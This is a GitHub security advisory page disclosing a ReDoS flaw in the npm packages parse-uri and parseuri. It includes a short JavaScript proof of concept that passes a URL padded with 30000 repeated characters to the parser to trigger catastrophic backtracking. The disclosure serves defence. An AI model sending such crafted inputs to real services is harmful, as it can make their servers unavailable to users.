~ / search / GHSA-6fx8-h7jm-663j

GHSA-6fx8-h7jm-663j

parse-uri Regular expression Denial of Service (ReDoS)

Source: GitHub Advisory Database (reviewed) Moderate CVE-2024-36751

Packages

EcosystemPackageAffectedFixed in
npm parse-uri <= 1.0.9 no fix listed
npm parseuri < 2.0.0 no fix listed

Details

As written in the advisory (Markdown source, shown as plain text).

An issue in parse-uri v1.0.9 allows attackers to cause a Regular expression Denial of Service (ReDoS) via a crafted URL. ## PoC ```js async function exploit() { const parseuri = require("parse-uri"); // This input is designed to cause excessive backtracking in the regex const craftedInput = 'http://example.com/' + 'a'.repeat(30000) + '?key=value'; const result = await parseuri(craftedInput); } await exploit(); ```

References

External links from the advisory. They lead to third-party sites.